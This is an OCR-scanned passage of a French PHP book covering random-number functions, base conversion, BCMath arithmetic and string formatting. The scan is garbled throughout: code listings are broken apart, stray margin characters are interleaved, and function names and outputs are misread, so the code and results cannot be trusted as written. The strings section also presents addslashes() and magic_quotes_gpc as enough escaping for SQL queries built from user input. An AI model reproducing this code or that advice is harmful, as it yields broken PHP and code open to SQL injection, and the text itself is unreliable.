besoin d'un nombre aleatoire, le systeme va piocher un nombre dans cette liste (le 
suivant dans la liste). Mais, si Von n'y prend garde, apres chaque redemarrage du 
logiciel, le nombre retourne risque d'etre toujours le premier element de la liste. Pour 
pallier ce probleme, il faudrait done choisir aleatoirement (on se mord la queue) 
I'endroit oil commencer dans la liste. Pour choisir de f aeon plus ou moins aleatoire 
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cet endroit, il est generalement fait appel a I'heure (les microsecondes). 

Comme tout ceci n 'est pas a proprement parler du hasard, il est plus rigoureux de 

parler de nombre pseudo-aleatoire que de nombre aleatoire. 

PHP propose deux types de fonctions : les classiques et les fonctions prefixees par mt_ (utilisant 
un autre algorithme). 

Fonctions "classiques" 



srand() 



Initialise les generateurs de nombres aleatoires. 

Attention de ne pas utiliser cette fonction avant tous les appels dans une boucle par exemple. 
II est preferable de ne l'utiliser qu'une fois avant la generation de plusieurs valeurs aleatoires. 

Syntaxe void srand([int $seed]) 

$seed Une valeur quelconque qui doit changer d'une fois sur 1'autre. On a pour 

habitude de prendre le nombre de microsecondes depuis la derniere 
seconde entiere. srand( ( double )microtime () *1000000). 



rand() 

Generateur de nombres aleatoires. 

Sans arguments, elle renvoie un nombre entre et la valeur maximale que peut retourner la 
fonction (i.e. getRandMax ( ) ). Sinon, elle renvoie un nombre compris entre les deux valeurs 
(incluses) fournies. 

Depuis PHP 4.2.0, il n'est plus necessaire de faire appel au prealable a srand ( ) , puisque cet 
appel est effectue automatiquement s'il n'a pas deja eu lieu. 

Syntaxe int rand([int $min, int $max] ) 

$mi n Plus petite valeur que doit retourner la fonction. 

$max Plus grande valeur que doit retourner la fonction. 

retour Un entier entre minimum et maximum inclus. 



getRandMax () 



Retourne la plus grande valeur pouvant etre atteinte par la fonction rand ( ) . 

Syntaxe int getRandMax (void) 

retour Plus grande valeur que peut retourner la fonction rand ( ] 
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Voici un exemple utilisant les fonctions getRandMax ( ) , srand ( ) et rand ( ) . 

Listing 6.7 : rand.php 

<?php 

echo "getRandMax() = ".getRandMax() ."<br />"; 

srand ( (doubl e)mi crotime() *1000000) ; 

echo rand() ."<br />"; 

echo rand() ."<br />"; 

echo rand() ."<br />"; 

echo rand() . "<br />"; 

echo rand(0, 2)."<br />" 

"<br />" 

"<br />" 

"<br />" 

"<br />" 

"<br />" 

"<br />" 

"<br />" 
?> 



echo rand(0, 2), 

echo rand(0, 2), 

echo rand(0, 2) . 

echo rand(0, 2) . 

echo rand(0, 2) . 

echo rand(0, 2) . 

echo rand(0, 2) . 



Le resultat obtenu est le suivant (bien entendu, a part la premiere ligne, il varie d'une execution 
a l'autre) : 

getRandMax ()=32767 

1282 

31943 

31613 

7866 



1 

2 



2 

1 



2 

Fonctions "mt" 
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mt_srand() 



Initialise le generateur de nombres aleatoires. 

Attention de ne pas utiliser cette fonction avant tous les appels dans une boucle par exemple. 
II est preferable de ne l'utiliser qu'une fois avant la generation de plusieurs valeurs aleatoires. 



Syntaxe 

$seed 



void mt_srand([int $seed]) 

Valeur quelconque qui doit changer d'une fois sur l'autre. On a pour 
habitude de prendre le nombre de microsecondes depuis la derniere 
seconde entiere. mt_srand ( ( double )microtime () *1000000). 
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mt_rand() 
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Generateur de nombres aleatoires. 

mt_rand est une alternative a la fonction rand. Elle est bien plus rapide (environ quatre fois) 
et utilise la methode de Mersenne Twister. 

Sans arguments, elle renvoie un nombre entre et la valeur maximale que peut retourner la 
fonction (i.e. mt_getRandMax ( ) ). Sinon, elle renvoie un nombre compris entre les deux valeurs 
fournies incluses. 

Depuis PHP 4.2.0, il n'est plus necessaire de faire appel au prealable a mt_srand ( ) , puisque cet 
appel est effectue automatiquement s'il n'a pas deja eu lieu. 

Syntaxe int mt_rand([int $min, int $max]) 

$mi n Plus petite valeur que doit retourner la fonction. 

$max Plus grande valeur que doit retourner la fonction. 

retour Entier entre minimum et maximum inclus. 



mt_getRandMax() 

Retourne la plus grande valeur pouvant etre atteinte par la fonction mt_rand ( ) . 

Syntaxe int mt_getRandMax(void) 

retour Plus grande valeur que peut retourner mt_rand ( ) . 

Voici un exemple Utilisant les fonctions mt_getRandMax ( ) , mt_srand ( ) et mt_rand ( ) 

Listing 6.8 : mtrand.php 

<?php 

echo "mt_getRandMax()=".mt_getRandMax() . "<br />"; 

mt_srand((double)microti me ()*1000000); 

echo mt_rand() ."<br />"; 

echo mt_rand() ."<br />"; 

echo mt_rand() . "<br />"; 

echo mt_rand() ."<br />"; 

echo mt_rand(0,2)."<br />" 

echo mt_rand(0,2)."<br />" 

echo mt_rand(0,2)."<br />" 

echo mt_rand(0,2)."<br />" 

echo mt_rand(0,2)."<br />" 

echo mt_rand(0,2)."<br />" 

echo mt_rand(0,2)."<br />" 

echo mt_rand(0,2)."<br />" 
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Le resultat obtenu est le suivant (bien entendu, a part la premiere ligne, il varie d'une execution 
a l'autre). 

mtgetRandMaxO =2147483647 

617390894 

505571108 

175954693 

741777589 

2 



1 

1 

2 



2 



Autres 



lcg_value() 



Generateur de congruence combinee lineaire. 

Cette fonction retourne un nombre pseudo-aleatoire compris entre et 1. Elle combine deux 
nombres de periode 2 ~ 31-85 et 2 ^ 31-249. La periode de cette fonction est egale au produit de 
ces deux nombres premiers soit (2 ~ 31-85)*(2 ~ 31-249). 



Syntaxe 

retour 



double lcg_value() 

Reel pseudo-aleatoire compris entre et 1. 



Voici un exemple utilisant la fonction lcg_vaiue ( ) 

Listing 6.9 : Icg.php 

<?php 

echo(lcg_value() ."<br />") 

echo(lcg_value() ."<br />") 

echo(lcg_value() ."<br />") 

echo(lcg_value() ."<br />") 

echo(lcg_value() ."<br />") 

echo(lcg_value() ."<br />") 

$a = 3; 

$b = 7; 

// Voici une formule pour obtenir un nombre entre 

echo(floor($a + lcg_value()*($b-$a+l)) ."<br />") 

echo(floor($a + lcg_value()*($b-$a+l)) ."<br />") 

echo(floor($a + lcg_value()*($b-$a+l)) . "<br />") 

echo(floor($a + lcg_value()*($b-$a+l)) ."<br />") 



3 


at 


Dl 


i— 




CD 


CDn 




3 


o 


Dl 




S". 


n 


.a 




c 


o 


CD 


3 


V> 


CO 



$a et 



inclus 



343 



CO 


CO 


1= 


cu 


o 


s 


!^ 


a- 


U 

1= 


fa 


o 


E 


CO 


'CU 


cu 


.c 


_l 


CO 


CD 


E 



Chapitre 6 Les fonctions mathematiques 



Voici le resultat retourne : 

0.30513436806404 

0.068577150355096 

0.57782412638032 

0.9158474922213 

0.0046724566600712 

0.1675198682609 

7 

3 

4 

6 



Conversion de bases 

base_convert() 

Retourne un nombre converti d'une base dans une autre. 

Syntaxe string base_convert (string $nombre, int $depuisBase, int 

$versBase) 

$nombre Nombre a convertir ecrit en base $depuisBase. 

$depui sBase Base d'origine entre 2 et 36. 

$versBase Base d'arrivee entre 2 et 36. 

retour Nombre en base $versBase. 



binDecQ 



Retourne la conversion d'un nombre binaire inferieur a 2147483647 (31 bits a 1) en nombre de 
base 10 (decimal). 

Syntaxe int binDec (string $binaire) 

$bi nai re Nombre binaire de moins de 32 bits, 

retour Nombre en base 10. 



decBin() 



Retourne la conversion d'un nombre decimal (i.e. base 10) inferieur a 2147483647 (31 bits a 1) 
en nombre de base 2 (binaire). 

Syntaxe string decBin(int $decimal) 

$decimal Nombre decimal (i.e. base 10) inferieur a 2147483647. 

retour Nombre en base 2. 
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decHexQ 



Retourne la conversion d'un nombre decimal (i.e. base 10) inferieur a 2147483647 (31 bits a 1 
ou encore 7FFFFFFF en hexadecimal) en nombre de base 16. 



Syntaxe 

$decimal 
retour 



string decHex(int $decimal) 

Nombre decimal (i.e. base 10) inferieur a 2147483647. 

Nombre en base 16. 



hexDecQ 



Retourne la conversion d'un nombre hexadecimal inferieur a 7FFFFFFF (31 bits a 1 ou encore 
2147483647 en decimal) en nombre decimal (i.e. base 10). 

Syntaxe int hexDec(string $hexadecimal ) 

$hexadecimal Nombre decimal inferieur a 7FFFFFFF. 

retour Nombre decimal (i.e. base 10). 



decOctQ 



Retourne la conversion d'un nombre decimal (i.e. base 10) inferieur a 2147483647 (31 bits a 1 
ou encore 17777777777 en octal) en nombre de base 8. 



Syntaxe 

$decimal 
retour 



string dec0ct(int $decimal) 

Nombre decimal (i.e. base 10) inferieur a 2147483647. 

Nombre en base 8. 
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octDec() 



Retourne la conversion d'un nombre octal inferieur a 17777777777 (31 bits a 1 ou encore 
2147483647 en decimal) en nombre decimal (i.e. base 10). 



Syntaxe 

$octal 
retour 



int octDec(string $octal) 
Nombre octal inferieur a 17777777777. 
Nombre decimal (i.e. base 10). 
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Voici un exemple utilisant toutes ces fonctions de conversion de bases. 

Listing 6.10: bases.php 

<?php 

echo base_convert("28", 10, 2)."<br />"; // 11100 

echo base_convert("28", 10, 8)."<br />"; // 34 

echo base_convert("28", 10, 16)."<br />"; // lc 
echo decBin(28)."<br />"; // 11100 

echo binDec("11100")."<br />"; // 28 

echo dec0ct(28)."<br />"; // 34 

echo octDec("34")."<br />"; // 28 

echo decHex(28)."<br />"; // lc 

echo hexDec("lc")."<br />"; // 28 



Et le resultat retourne est 

11100 

34 

lc 

11100 

28 

34 

28 

lc 

28 



Autres 



abs() 



Cette fonction retourne la valeur absolue de l'argument. Si l'argument est un reel, la valeur 
retournee est un reel ; sinon, c'est un entier. 

Syntaxe mixed abs (mixed $nombre) 

$nombre Valeur reelle ou entiere. 

retour Valeur absolue dunombre. 



max() 



Retourne le plus grand element. 

Syntaxe mixed max (mixed $argl [, mixed $arg2, ...[, mixed $argn]]) 

$arg 1 Un tableau, une chaine de caracteres, un reel ou un entier. 
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$arg2 Une chaine de caracteres, un reel ou un entier si $argl n'est pas un 

tableau. 

$argn Une chaine de caracteres, un reel ou un entier si $argl n'est pas un 

tableau. 

retour Le plus grand element du tableau si l'argument est un tableau. Si tous les 

arguments sont de type string, la valeur retournee est la derniere valeur 
par rapport a l'ordre alphabetique. Si tous les arguments numeriques sont 
de type int, c'est un entier qui est retourne ; sinon c'est un reel. 



min() 



Retourne le plus petit element. 

Syntaxe mixed mi n (mixed $argl [, mixed $arg2, ... [, mixed $argn]) 

$ a r g 1 Un tableau, une chaine de caracteres, un reel ou un entier. 

$arg2 Une chaine de caracteres, un reel ou un entier si $argl n'est pas un 

tableau. 

$argn Une chaine de caracteres, un reel ou un entier si $argl n'est pas un 

tableau. 

retour Le plus petit element du tableau si l'argument est un tableau. Si tous les 

arguments sont de type s t r i ng, la valeur retournee est la premiere valeur 
par rapport a l'ordre alphabetique. Si tous les arguments numeriques sont 
de type int, c'est un entier qui est retourne ; sinon c'est un reel. 



number_format() 

Formate un nombre. 

Cette fonction prend un, deux ou quatre parametres. 

S'il n'y a qu'un parametre, il sera formate sans decimal et avec une virgule separant les milliers. 

S'il y a deux parametres, le deuxieme argument est le nombre de decimales a afficher. Elles sont 
alors separees par une virgule. 

S'il y a quatre parametres, les deux premiers sont les memes que dans le cas de deux 
parametres, les suivants sont les separateurs de decimales et de milliers. 

Syntaxe string number_format (double $nombre [, int $decimales [, 

string $delimiteur , string $milliers]]) 

$ n omb r e Nombre a forma ter. 

$deci mal es Nombre de decimales a afficher. 

$del imiteur Separateur de decimales (', ' en franc,ais, '.' en anglais). 

$mi 1 1 i ers Separateur de milliers (' ' en frangais, ' , ' en anglais). 

retour Chaine de caracteres du nombre formate. 
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Voici un exemple d'utilisation de la fonction number_f ormat ( ) : 

Listing 6.11 : numberf.php 

<?php 

$number = 123456789.12345; 

// exemple avec un seul argument 

echo number_format($number) ; 

echo "<br />"; 

// exemple avec deux arguments 

echo number_format($number, 3); 

echo "<br />"; 

// exemple de notation anglaise avec 4 arguments 

echo number_format($number, 3, '.', ','); 

echo "<br />"; 

// exemple de notation frangaise avec 4 arguments 

echo number format ($number, 3, ',', ' '); 



En sortie, on obtiendra : 

123,456,789 
123,456,789.123 
123,456,789.123 
123 456 789,123 



6.2. Calculs de precision 

Les calculs de precision utilisent la bibliotheque BCMath. 

Installation 

Sous Windows 

La version distribute par PHP inclut le support de la bibliotheque BCMath (c'est egalement vrai 
pour le kit EasyPHP). Vous n'aurez done rien a faire de particulier pour en profiter. 

Sous Linux 

Assurez-vous d'avoir compile PHP avec l'option — enable-bcmath. 



RENVOI 



} Vous pouvez vous reporter au chapitre "Installation" pour plus de details sur la 
compilation de PHP. 
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Verification 

Vous pouvez vous assurer que la bibliotheque BCMath est bien disponible par un simple script 
contenant <?php phpinf o ( ) ,■ ?> et qui doit laisser apparaitre : 



| BCMath support 



Figure 6.1 : 

phpinfoQ 



Utilisation 



Avec la bibliotheque BCMath, les nombres sont represented par des chaines de caracteres. lis ne 
sont done pas a priori limites en taille et, par consequent, n'ont pas de limite theorique en 
precision. 



bcscale() 



Definit la precision par defaut (remplace le parametre bemath. scale du fichitrphp.ini). 

Syntaxe boolean bcscale(int $precision) 

$preci si on Entier exprimant le nombre de decimales par defaut. 

retour TRUE. 



bcadd() 

Ajoute deux nombres. 

Syntaxe string bcadd (string $operandel, string $operande2 [, int 

$precision]) 
$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 

$precision Nombre de decimales. 

retour Chaine de caracteres representant $operandel+$operande2. 



bcsub() 

Soustrait deux nombres. 

Syntaxe string besub (string $operandel, string $operande2 [, int 

$precision]) 
$operandel Chaine de caracteres representant un nombre. 

$operande2 Chaine de caracteres representant un nombre. 

$precision Nombre de decimales. 

retour Chaine de caracteres representant $operandel-$operande2. 



3 


at 


Dl 


i— 




CD 


CD< 




3 


o 


Dl 




S". 


n 


.a 




c= 


o 


CD 


3 


CO 


CO 



349 



Chapitre 6 Les fonctions mathematiques 



bcmulQ 



Multiplie deux nombres. 

Syntaxe string bcmul (string $operandel, string $operande2 [, int 

$precision]) 

$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 

$precision Nombre de decimales. 

retour Chaine de caracteres representant $operandel*$operande2. 
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bcdiv() 

Divise deux nombres. 
Syntaxe 

$operandel 
$operande2 
$precision 
retour 



string bcdiv(string $operandel, string $operande2 [, int 
$precision]) 

Chaine de caracteres representant un nombre. 

Chaine de caracteres representant un nombre. 

Nombre de decimales. 

Chaine de caracteres representant $ operandel / $operande2 . 



bcmod() 



Retourne le reste d'une division. 

Syntaxe string bcmod (string $operandel, string $operande2) 

$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 

retour Chaine de caracteres representant $operandel % $operande2. 



bcpow() 



Eleve un nombre a une puissance. 

Syntaxe string bcpow(string $operandel, string $operande2 [, int 

$precision]) 

$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 
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Calculs de precision 

$precision Nombre de decimates. 

retour Chaine de caracteres representant $operande a la puissance $operande2. 



bcsqrt() 



Retourne la racine carree d'un nombre. 

Syntaxe string bcsqrt (string $operande [, int $precision]) 

$operande Chaine de caracteres representant un nombre . 

$precision Nombre de decimales. 

retour Chaine de caracteres representant la racine carree de l'operande. 



bccompO 



Compare deux nombres. 

Syntaxe int bccomp(string $operandel, string $operande2 [, int 

$precision]) 

$operandel Chaine de caracteres representant un nombre . 

$operande2 Chaine de caracteres representant un nombre. 

$precision Nombre de decimales. 

retour si les deux nombres sont identiques, 1 si $operandel est plus grand que 

$operande2, sinon -1. 

Voici un exemple de calcul utilisant la bibliotheque BCMath. 

Listing 6.12 : precision.php 

<?php 

bcscale(lO); 

$a = "12345678901234567890"; 
$b = "12345678"; 
echo "Addition:<br />"; 
echo ($a + $b)."<br />"; 
echo bcadd($a, $b)."<br />"; 
echo "Soustraction:<br />"; 
echo ($a - $b)."<br />"; 
echo bcsub($a, $b) . "<br />"; 
echo "Multiplication:<br />"; 
echo ($a * $b)."<br />"; 
echo bcmul ($a , $b)."<br />"; 
echo "Division:<br />"; 
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echo ($a / $b)."<br />"; 
echo bcdiv($a, $b)."<br />"; 
echo "Restant de la division:<br />"; 
echo ($a % $b)."<br />"; 
echo bcmod($a, $b)."<br />"; 
echo "Exposant:<br />"; 
echo pow($a, 2)."<br />"; 
echo bcpow($a, 2)."<br />"; 
echo "Racine carree:<br />"; 
echo sqrt($a) ."<br />"; 
echo bcsqrt($a) ."<br />"; 
?> 

Et le resultat retourne est le suivant : 

Addition: 
1.23456789012E+19 

12345678901246913568.0000000000 

Soustraction: 

1.23456789012E+19 

12345678901222222212.0000000000 

Multiplication: 

1.52415776406E+26 

152415776406035777639079420 

Division: 

1000000073E+12 

1000000073000.0059850904 

Restant de la division: 

11681353 

73890 

Exposant: 

Warning: Invalid argument(s) passed to pow() in precision.php on line 21 

152415787532388367501905199875019052100 

Racine carree: 

3513641828.82 

3513641828.8201442530 

On peut remarquer 1'erreur consecutive a un calcul du reste de la division sans prendre garde 
aux limites de precision de PHP ; qui plus est, PHP refuse de calculer la puissance si Ton ne 
passe pas par BCMath. 



Affichage des nombres 

Pour une valeur donnee, le nombre de chiffres affiches depend de la configuration de 
PHP et, en particulier, du parametre precision du fichier php.ini. Cette remarque 
ne s'applique evidemment pas aux valeurs retournees par BCMath, qui sont, de toute 
facon, des chaines de caracteres. 



REMARQUE 
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Generates 



7.1. Generalites 

Ce chapitre est peut-etre le plus important, l'utilisation des chaines de caracteres etant en effet 
inevitable pour produire le code HTML desire. 

Les chaines de caracteres peuvent etre encadrees soit par des apostrophes ( ' ) soit par des 
guillemets ("). 

Lorsque vous utilisez des guillemets, vous pouvez integrer directement des noms de variables 
au sein de la chaine de caracteres, et celles-ci seront subtituees par leurs valeurs. Ce n'est pas le 
cas si vous utilisez les apostrophes. Ainsi, 

<?php 

$monNom = "Emma"; 
echo "Bonjour $monNom <br />"; 
echo 'Bonjour $monNom <br />'; 
?> 

affichera : 

Bonjour Emma 
Bonjour $monNom 

Dans le cas de l'utilisation des guillemets, nous aurons done besoin de faire appel aux sequences 
d'echappement afin de pouvoir afficher le signe '$'. Mais ceci concerne egalement les 
caracteres suivants : 

Tableau 7.1 : Sequences d'echappement 
Notation Description 

\n Changement de ligne. 



\r Retour chariot. 

\t Tabulation. 

\\ Pour afficher \ (et eviter la confusion avec le caractere d'echappement). 

\$ Pour afficher $ (et eviter la confusion avec Interpretation d'une variable). 

\ " Pour afficher » (et eviter la confusion avec la fin de la chaine de caracteres). 



=i m 
as =r. 

CJ o 



La seule sequence d'echappement disponible lors de l'utilisation des apostrophes et la 3 Jo 

suivante : \ ' . Elle met fin a la confusion qu'il pourrait y avoir avec la declaration de fin de 

chaine. 

Si Ton veut utiliser des guillemets a l'interieur d'autres guillemets, il est evident que cela pose 
probleme, comme dans l'exemple suivant : 

"Coluche a dit "Plus on est de fous moins y'a de riz", pas faux..." 

L'analyseur syntaxique de PHP va reconnaitre une premiere chaine "Coluche a dit " puis 
des lettres qu'il ne saura pas interpreter Plus on est de fous moins y'a de riz, et, enfin, 
une chaine de caracteres " , pas faux. 
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C'est pourquoi il faut preciser que le caractere " est un caractere a afficher. Pour cela, il a ete 
decide d'y ajouter \. 

La phrase d'exemple s'ecrit done : 

"Coluche a dit V'Plus on est de fous moins y'a de riz\", pas faux..." 

Et, pour afficher \, il faut done preciser que ce n'est pas le caractere d'echappement en le 
doublant : \ \ . 

J\ Chemins defichiers Windows 

^^^ \ \ est notamment a utiliser pour les chemins windows. 

ATTENTION " C: \monRepertoire\monFichier .php" s'ecrit 
C: \ \monRepertoire\ \monFichier . php . 



' Ja> Pour ecrire \ \, il suffit de doubler chacun des caracteres. On obtient done \\\\ et 

REMARQUE a i m id e suite. . . Cette methode permet de garder la liberie d'utiliser tous les caracteres. 

Le script suivant nous montre comment utiliser les sequences d'echappement : 



Listing 7.1 : ccul.php 
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<?php 

echo "1 - 

echo "\n" 

echo '2 - 

echo "\n" 

echo "3 - 

echo "\n" 

echo '4 - 

echo "\n" 

$variable="valeur"; 

echo "5 - $variable"; 

echo "\n" 

echo '6 - 

echo "\n" 

echo "7 - 

echo "\n" 

echo "8 - 

echo "\n" 

echo '9 - 

echo "\n" 

// pour afficher \" avec les guillemets: 

echo "10 - \\\""; 

?> 



Facile"; 
Facile' ; 

C'est plus dur"; 
CVest plus dur' ; 



$variable' ; 

\$variable"; 

citation \"PHP est facileV" 

citation "PHP est facile"': 



Voici le resultat obtenu dans le code source genere : 
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1 - 


Facile 


2 - 


Facile 


3 - 


C'est plus dur 


4 - 


C'est plus dur 


5 - 


valeur 


6 - 


$variable 


7 - 


$variable 


8 - 


citation "PHP est facile" 


9 - 


citation "PHP est facile" 


10 


- \" 



Pour acceder a des elements d'une base de donnees, il faut particulierement faire attention a 
l'utilisation des apostrophes. Par exemple : 

"SELECT * FROM matable WHERE monchamp= '$valeur '" 

posera probleme si Svaieur contient une apostrophe. Heureusement, la fonction 
addsiashes ( ) ajoute le caractere d'echappement devant les caracteres problematiques. II faut 
done ecrire : 

"SELECT * FROM matable WHERE monchamp= "' .addSl ashes ($valeur) 

Le meme genre de probleme se retrouve lorsque Ton veut, par exemple, donner une valeur par 
defaut dans un champ HTML. Une fonction specifique existe, qui s'appelle 

htmlSpecialChars ( ) . 

echo "<input type=\"hidden\" name=\"variable\" 

value=\"" .html Special Chars ($maVari able) . "\" />" 

Par defaut, PHP est configure avec l'option magic _quotes _gpc activee. Ainsi, les valeurs passees 
par les methodes get, post et les cookies voient leurs apostrophes automatiquement precedees 
d'un anti-slash (il n'est alors plus necessaire de faire appel a addsiashes ( ) pour les utiliser 
dans des requetes SQL). II est possible de faire de meme pour les fichiers et les bases de 
donnees, en utilisant le parametre similaire magic_quotes_runtime. 



Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 
configuration de PHP. 




RENVOI 



=i m 
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Rappelons que l'operateur de concatenation est le point '.' et que l'operateur '.=' est 

egalement valide. Ainsi " Langage " . " php " vaut " Langage php " . jj » 

Afficher du texte 

II existe plusieurs fagons d'afficher une chaine de caracteres. La maniere la plus simple est 
l'utilisation de echo. 

L'ecriture sur plusieurs lignes peut se faire au moyen de <« suivis d'un identifiant de fin de 
texte, qui ne sera pas dans le texte a ecrire. L'identifiant place a la fin du texte doit 
obligatoirement commencer sur la premiere colonne du fichier. 
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Voici differents cas d'utilisation de echo : 

<?php 

$variable = "valeur\n"; 

echo $variable; 

echo "$variable"; 

echo "variable"," ",$variable; 

echo "On peut 
aussi ecrire 
sur plusieurs 
lignes\n"; 

echo <«END 
On peut 
aussi ecrire 
sur plusieurs 
lignes de cette 
fagon\n 
END; 

echo <«TEXTE 
On peut 
aussi ecrire 
sur plusieurs 
lignes de cette 
fagon 
TEXTE; 
?> 

Et voici le resultat de sortie : 



a> u> valeur 

■o •_ valeur 
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On peut 
aussi ecrire 
sur plusieurs 
lignes 
On peut 
aussi ecrire 
sur plusieurs 
lignes de cette 
facon 
On peut 
aussi ecrire 
sur plusieurs 
lignes de cette 
fagon 
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Une fonction tres proche de la commande echo s'appelle print ( ) . La difference est tellement 
infime que beaucoup se demandent ou elle se trouve. print ( ) est une fonction qui retourne un 
booleen, elle renvoie true quand l'affichage s'est effectue. 

echo est legerement plus rapide que print ( ) , dans la mesure ou cette fonction ne retourne 
rien. Mais la difference reste minime. 

Les deux fonctions print f () et sprint f () permettent respectivement d'afficher et de 
retourner une chaine de caracteres formatee. 



printf() 



Affiche une chaine de caracteres (eventuellement accompagnee de valeurs) selon un format 
donne. 

Syntaxe void printf (string $format [, mixed $valeurs]) 

$f ormat Chaine decrivant le format attendu. 

$valeurs Les valeurs a formater. 



sprintf() 



Retourne une chaine de caracteres (eventuellement accompagnee de valeurs) selon un 
format donne. 

Syntaxe string sprintf (string $format [, mixed $valeurs]) 

$format Chaine decrivant le format attendu. 

$valeurs Les valeurs a formater. 

retour La chaine formatee. 

Les elements formates sont definis par le signe % suivi de differents caracteres (ex. :%03 . 2f) 
dont voici une description : 

Le premier est facultatif. II sert a determiner le caractere qui complete les caracteres 
manquants ; par defaut, il vaut le caractere d'espacement. Pour definir ce parametre, il 
suffit de le faire preceder d'une apostrophe ' (inutile pour le chiffre 0). (Cela peut, par 
exemple, permettre d'afficher un nombre sur trois chiffres, meme s'il est inferieur a 100). 

Le deuxieme parametre est lui aussi optionnel. II determine si le resultat doit etre aligne a 
droite ou a gauche. Par defaut, il sera aligne a droite ; pour le faire aligner a gauche, il suffit 
de placer le signe -. 

Le troisieme parametre est lui aussi optionnel. II determine le nombre de caracteres 
minimum a retourner. 
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Le quatrieme parametre est lui aussi optionnel. II determine le nombre de decimales a 
afficher pour les reels. Ce parametre n'a bien sur aucun effet sur les autres types ; il est 
precede d'un point. 

Le cinquieme parametre est obligatoire. II definit selon quel type l'argument doit etre 
traite puis represente. Voici les differents types possibles : 



Tableau 7.2 : Les differents types 



Lettre 


Traite 


b 


Entier 


c 


Entier 



o 
s 

X 

X 



Entier 
Tel quel 
Entier 
Entier 



Represente 

Binaire 

Caractere avec sa valeur ASCII 



d 


Entier 


Nombre decimal signe 


u 


Entier 


Nombre decimal non signe 


f 


Reel 


Reel 



Nombre octal 

Chafne de caracteres 

Nombre hexadecimal 

Nombre hexadecimal en majuscules 
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Ecriture du caractere % 

Pour ecrire le caractere %, il suffit de le doubler afin d'eviter la confusion. Au 



moment de I'affichage un seul apparaitra. 
Voici quelques exemples utiles : 

Listing 7.2 : sprintf.php 

<?php 

echo "Date<br /> "; 

pnntf("%02d/%02d/%04d", 1, 7, 2002); 

echo "<br />Pi avec 7 decimal es<br />"; 

printf("%.7f", M_PI); 

echo "<br />Ecriture d'une chaTne<br />"; 

pr1ntf(".:%s:.", "Salut !"); 

echo "<br />Ecriture d'une chaTne avec 20 caracteres minimum<br />"; 

printf(".:%20s:.", "Salut"); 

echo "<br />Ecriture d'une chaTne avec 20 caracteres minimum,". 

" aligne a gauche<br />"; 
printf(".:%-20s:.", "Salut"); 
echo "<br />Ecriture d'une chaTne avec 20 caracteres minimum,". 

" complete par des -<br />"; 
printf(".:%'-20s:.", "Salut"); 
echo "<br />Ecriture d'une chaTne avec 20 caracteres minimum,". 
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" aligne a gauche, complete par des -<br />"; 
printf(".:%'— 20s:.", "Salut"); 
echo "<br />Ecriture de %<br />"; 
printf ("%%"); 
?> 

Et void le resultat obtenu : 

Date 

01/07/2002 

Pi avec 7 decimal es 

3.1415927 

Ecriture d'une chaine 

.:Salut !:. 

Ecriture d'une chaine avec 20 caracteres minimum 

.: Salut:. 

Ecriture d'une chaine avec 20 caracteres minimum, aligne a gauche 

.:Salut :. 

Ecriture d'une chaine avec 20 caracteres minimum, complete par des - 

.: Salut:. 

Ecriture d'une chaine avec 20 caracteres minimum, aligne a gauche, complete par 
s< des - 

.:Salut :. 

Ecriture de % 



La fonction vPrintf ( ) permet d'afficher un tableau. Elle fonctionne de la meme maniere que 

printf ( ) . 



vPrintfQ 



Affiche une chaine de caracteres formatee et construite a partir de donnees stockees dans un 
tableau. 
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Syntaxe boolean vPrintf (string $format, array $tableau) 

$format Voir description de printf ( ) . 

$tableau Tableau a afficher. 

retour Unbooleen. ™ g 

Voici un exemple : 

<?php 

$tableau=array("Element 1", "Element 2", "Element 3"); 

vPrintf("%2\$s|%l\$s|%3\$s", $tableau); 

?> 

dont le resultat obtenu est le suivant : 
Element 2 1 Element 1| Element 3 
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vSPrintf() 



Retourne une chaine de caracteres formatee et construite a partir de donnees stockees dans un 
tableau. 



Syntaxe 

$format 

$tableau 

retour 



string vSPrintf (string $format, array $tableau) 

Voir description de vPr int f ( ) . 

Tableau a afficher. 

La chaine de caracteres. 
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sscanf() 



Permet de faire l'analyse lexicale d'une chaine de caracteres (i.e. de recuperer les informations 
qui la composent). 



mixed sscanf (string $chaine, string $format[, string 
&$variableSortiel [, string &$variableSortie2[, ...]]] 

Chaine de caracteres dont on veut recuperer des elements. 

Format de la chaine a analyser. 



Syntaxe 

$chaine 

$format 

$vari abl eSorti eN Variables dans lesquelles vous souhaitez stacker les differents elements 
extraits de la chaine de caracteres. 



retour 



Tableau avec les differentes parties reconnues de la chaine de caracteres, 
ou le nombre de sous-chaines reconnues si des des variables sont passees 
par reference. 



Un exemple d'utilisation de sscanf ( ) : 

<?php 

$phrase = "J'ai 25 ans et je suis Frangais"; 

$tableau = sscanf ($phrase, "J'ai %d ans et je suis %s"); 

echo $tableau[0] ."<br />\n"; 

echo $tableau[l] ."<br />\n"; 

list($age, $nationalite) = sscanf ($phrase, "J'ai %d ans et je suis %s"); 

echo $age."<br />\n"; 

echo $national ite."<br />\n"; 

$refage=0; 

$refnat=""; 

echo sscanf ($phrase, "J'ai %d ans et je suis %s", &$refage, &$refnat) 

." elements<br />\n"; 
echo $refage."<br />\n"; 
echo $refnat."<br />\n"; 
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Et le resultat obtenu : 

25 

Frangais 

25 

Frangais 

2 elements 

25 

Frangais 



Manipuler les caracteres 



chr() 

Retourne le caractere d'un code ASCII. 

Syntaxe string chr(int $codeAscii) 

$codeAsci i Code ASCII du caractere a afficher. 

retour Caractere correspondant au code ASCII passe en parametre. 



ord() 

Retourne le code ASCII du premier caractere d'une chaine. 

Syntaxe int ord (string $chaine) 

$chai ne Chaine dont on veut le caractere ASCII du premier caractere. 

retour Code ASCII du premier caractere. 

7.2. Fonctions de gestion des chaines de caracteres 

Extraction et substitution 
Extraction 

substr() 

Retourne une partie d'une chaine de caracteres. 

Syntaxe string substr(string $chaine, int $debut [,int $nbCaracteres]] 

$ c h a i n e Chaine de caracteres de laquelle vous souhaitez extraire une partie . 
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$debut Indice du caractere de depart. (Le premier caractere ayant l'indice 0, si la 

valeur est negative, le compte se fait depuis la droite, le dernier caractere 
ayant l'indice -1). 

retour La sous-chaine demandee. 

Listing 7.3 : substr.php 

<?php 

echo substr("abcdefghi j", 2); 

echo "<br />"; 

echo substr("abcdefghi j", 0, 3); 

echo "<br />"; 

echo substr("abcdefghi j", 1, 4); 

echo "<br />"; 

echo substr("abcdefghij", 5, 20); 

